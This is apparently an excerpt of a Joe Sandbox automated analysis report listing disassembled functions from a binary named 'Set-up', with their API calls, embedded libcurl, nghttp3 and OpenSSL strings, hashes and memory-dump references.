Instruction Fuzzy Hash: 365118E1A183556FEB106E259C42B2F76D89FD0319F088478FC8D86243FB79ED20C652

Function 001327E0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 299stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0013284C

Strings

Alt-svc connecting from [%s]%s:%d to [%s]%s:%d, xrefs: 00132DA3
url.c, xrefs: 00132863, 001328B0, 00132CF9, 00132DDE
%s%s%s, xrefs: 00132834
Please URL encode %% as %%25, see RFC 6874., xrefs: 001329E3
No valid port number in connect to host string (%s), xrefs: 00132C4B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen
String ID: %s%s%s$Alt-svc connecting from [%s]%s:%d to [%s]%s:%d$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.$url.c
API String ID: 39653677-4104037097
Opcode ID: 9b98c3520768c9bb65cd849a8001601c71f9f9b1bc597fc1cfb81db2f2366e11
Instruction ID: 3c560e1a8e9a5d37bc2971a340f9fb3dbdbc77afc25d8f0ad521ff600527c97f
Opcode Fuzzy Hash: 9b98c3520768c9bb65cd849a8001601c71f9f9b1bc597fc1cfb81db2f2366e11
Instruction Fuzzy Hash: 80A14370604340AFDB38AE18D845B7A7BD6AF95318F19847DFC898B2D2E7369C41C392

Function 0014A260 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 160networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32(?,?,00000080), ref: 0014A376
WSAGetLastError.WS2_32 ref: 0014A380

Part of subcall function 001178B0: closesocket.WS2_32(?), ref: 001178BB

Part of subcall function 0014EF30: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000001,?,?), ref: 0014EF6F

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A3D2
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A3D6

Strings

ssrem inet_ntop() failed with errno %d: %s, xrefs: 0014A3F4
accepted_set(sock=%d, remote=%s port=%d), xrefs: 0014A488
getpeername() failed with errno %d: %s, xrefs: 0014A3A0
cf-socket.c, xrefs: 0014A2E9

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno$ErrorLastclosesocketgetpeername
String ID: accepted_set(sock=%d, remote=%s port=%d)$cf-socket.c$getpeername() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 1501154218-2965463112
Opcode ID: eca15a8d94dac7aa3b57ec7db467fad0af96c84cdc73d6829d7f6dccda37d943
Instruction ID: 5c2b7c157b446b2867aff6a641b0755e568460d82327e0cd82686090508fb5e4
Opcode Fuzzy Hash: eca15a8d94dac7aa3b57ec7db467fad0af96c84cdc73d6829d7f6dccda37d943
Instruction Fuzzy Hash: 51512831944340ABE721DF24DC42FE777B4EF91318F044518F99C5B262EB72A999CB92

Function 001BA5A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000001,?,0000000F), ref: 001BA5FC
memmove.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,0000000F), ref: 001BA698
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 001BA6BF
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(i + 1 < blk->n,nghttp3_ksl.c,0000019B), ref: 001BA6EB
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(lblk->n + rblk->n < NGHTTP3_KSL_MAX_NBLK,nghttp3_ksl.c,000001A2), ref: 001BA700

Strings

lblk->n + rblk->n < NGHTTP3_KSL_MAX_NBLK, xrefs: 001BA6FB
nghttp3_ksl.c, xrefs: 001BA6E1, 001BA6F6
i + 1 < blk->n, xrefs: 001BA6E6

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assertmemcpy$memmove
String ID: i + 1 < blk->n$lblk->n + rblk->n < NGHTTP3_KSL_MAX_NBLK$nghttp3_ksl.c
API String ID: 3463011695-2629231663
Opcode ID: 85755b1384e4cc2871dcd83de97c6ba243ffc4ff50e1c0b17dcec3505cb2db71
Instruction ID: d6eb202282acd2a51724af9ded836a3cd2ddbb612807b8f0fd085f6e0b473b41
Opcode Fuzzy Hash: 85755b1384e4cc2871dcd83de97c6ba243ffc4ff50e1c0b17dcec3505cb2db71
Instruction Fuzzy Hash: 8D4180B5604304AFC708DF18D88186AB7EAFF98714F48C96DE8899B352E770ED11CB95

Function 00352480 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000000,00000002,00000000), ref: 00352491
CertGetCertificateContextProperty.CRYPT32(00000000,00000002,00000000), ref: 003524C6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,0034F5B4), ref: 00352529

Strings

ERR_CAPI_error, xrefs: 003524EF
engines/e_capi.c, xrefs: 003524A6, 0035251C, 00352559
%lX, xrefs: 00352534
Error code= 0x, xrefs: 00352545
engines/e_capi_err.c, xrefs: 003524F6

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: CertCertificateContextProperty$ErrorLast
String ID: %lX$ERR_CAPI_error$Error code= 0x$engines/e_capi.c$engines/e_capi_err.c
API String ID: 2217977984-837018288
Opcode ID: 9f991eddd54fa8b72b6a7059774907411ab816e30870dfb3837f2a99f3b13b30
Instruction ID: 1222d839faab870ba87e52c08273cc100ef131454093b23b5235830839cbfc27
Opcode Fuzzy Hash: 9f991eddd54fa8b72b6a7059774907411ab816e30870dfb3837f2a99f3b13b30
Instruction Fuzzy Hash: 8011B6A5B9030477FA203771BC47F3B3A4CEB52B89F044534FA08651D3E5E599248EA3

Function 00162430 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00162666
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00162699
_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 001626FB
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000018,?,?), ref: 0016273A

Strings

:%u, xrefs: 001626CC
Shuffling %i addresses, xrefs: 001624A6
hostip.c, xrefs: 001624B4, 0016253F, 00162613, 00162626, 00162673, 0016276D, 001627AF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$_time64memcpy
String ID: :%u$Shuffling %i addresses$hostip.c
API String ID: 2198566249-1766712111
Opcode ID: f573668d42811ab5080f0f3cf0452d691bf35e304aab9a2bafbcd25d7cf1f23f
Instruction ID: e734d659bdcfba78d6aa7ea787a1b12d0ccc7cb2b4326caa9fcc4ed290cde838
Opcode Fuzzy Hash: f573668d42811ab5080f0f3cf0452d691bf35e304aab9a2bafbcd25d7cf1f23f
Instruction Fuzzy Hash: 54A1DD75A04B009BD734DE18DC45BABB7E5EF98304F19843DED8A87382E735E9618B81

Function 00496940 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 004969F1
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496A11
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,000000FF,?,?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496A53
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496AB6
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496AC7
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496ADA

Strings

UTF-8, xrefs: 004969AF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno$abortmemcpymemset
String ID: UTF-8
API String ID: 3754757788-243350608
Opcode ID: bd568a31293167de5522a4781319728e532a0f13f814b92e2c036f5cfc9e4417
Instruction ID: 901233ec56ad078ba4e3305688f14e271edfe3d134099e6a0d764795feda42aa
Opcode Fuzzy Hash: bd568a31293167de5522a4781319728e532a0f13f814b92e2c036f5cfc9e4417
Instruction Fuzzy Hash: 6041D4B06083016FDF118F69D895B2B7FE5AB86358F06893EF88587381E639DC44C75A

Function 0011230E Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 133stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00112359
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00112465
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001124AB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001123EE

Part of subcall function 00111A54: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00111A70

Strings

Memory allocation failed for decrypted data., xrefs: 00112411
, xrefs: 0011234F
, xrefs: 00112367
, xrefs: 0011234B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free$abortmallocstrlen
String ID: $ $ $Memory allocation failed for decrypted data.
API String ID: 673139954-1317699236
Opcode ID: b7a02b9ec97734f3e1d8e712ea6039664ff91077252286315cada36acdeaa42d
Instruction ID: 1950035792a38c97f3a8961f2891151c3a3c6cf20303614f9add7bce73173678
Opcode Fuzzy Hash: b7a02b9ec97734f3e1d8e712ea6039664ff91077252286315cada36acdeaa42d
Instruction Fuzzy Hash: B75183B4A047099FCB04EFA9C48599EBBF1FF88300F10896AE85897325E774D954CF92

Function 00126330 Relevance: 12.1, APIs: 8, Instructions: 77sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0012D8C0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,00000000,?,0000001C,?,001201B1), ref: 0012D8E2

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,0015420E,?,?), ref: 00126350
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(0015420E,?,?,?,?,?,?,?,?,?,0015420E,?,?), ref: 0012635B
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00126369
Sleep.KERNEL32(00000001), ref: 001263B2
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 001263BC
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,0015420E,?,?), ref: 001263C7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,0015420E,?,?), ref: 001263D6

Part of subcall function 0012D8C0: GetTickCount.KERNEL32 ref: 0012D968

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 001263ED

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free$FileMove_strdup$CountCounterPerformanceQuerySleepTick
String ID:
API String ID: 1793959362-0
Opcode ID: b8713239c43ac293a4f3e33951fa2f81a0d080def233029b4e5651a684874523
Instruction ID: e9e97ab1986daf07533d3a34bc0bb0d07829125effdfa2ca9f3e292067661404
Opcode Fuzzy Hash: b8713239c43ac293a4f3e33951fa2f81a0d080def233029b4e5651a684874523
Instruction Fuzzy Hash: 87110BB7C0026057EB11A625BC42B7F7758BFA6728F080239FC4C92282FB25D96483D3

Function 00116220 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 0011623A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0011624D
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 0011627C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00116389

Strings

hsts.c, xrefs: 001162C9, 001162DB, 00116339, 0011634B
., xrefs: 00116399

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$_time64memcpy
String ID: .$hsts.c
API String ID: 2198566249-2242870694
Opcode ID: 9c45198af3062062bf283b4c20001b42301ec69854220dc83fba07242d95fdd4
Instruction ID: d04caafef0ab3ee249a50e600d7130a7053e425e6b3f377a1f2f3d262cb1edbb
Opcode Fuzzy Hash: 9c45198af3062062bf283b4c20001b42301ec69854220dc83fba07242d95fdd4
Instruction Fuzzy Hash: 88412BA5D043445BEB18BE60AC067DF7698AF35314F080438FD5D53283F776A9A8C692

Function 00494430 Relevance: 10.6, APIs: 7, Instructions: 108stringnetworkCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,0000002E), ref: 0049447B
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,00000042), ref: 004944C4
WSAStringToAddressW.WS2_32(?,00000002,00000000,?,00000010), ref: 004944E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(0000002E), ref: 00494500
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0049450B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,0000002E), ref: 0049451F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 00494546

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$strcmp$AddressByteCharMultiStringWide
String ID:
API String ID: 389649969-0
Opcode ID: 85bc7304d765ed94c055df54c02c7ded5e51ccb8108e7be350e5abf45abfe39a
Instruction ID: 8a9e0e74e6a1a10254886c17e51a6585364371b2e5128460d1adb77e8a350377
Opcode Fuzzy Hash: 85bc7304d765ed94c055df54c02c7ded5e51ccb8108e7be350e5abf45abfe39a
Instruction Fuzzy Hash: 5E315BB190430577FF209A65DC01FBB7A8C9BD1368F09423EFA48962C1FA7DBD458266

Function 0032E110 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0032E16C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0032E17B

Strings

for, xrefs: 0032E154
:, xrefs: 0032E15C
, xrefs: 0032E14D
Ente, xrefs: 0032E145
crypto/ui/ui_lib.c, xrefs: 0032E195

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

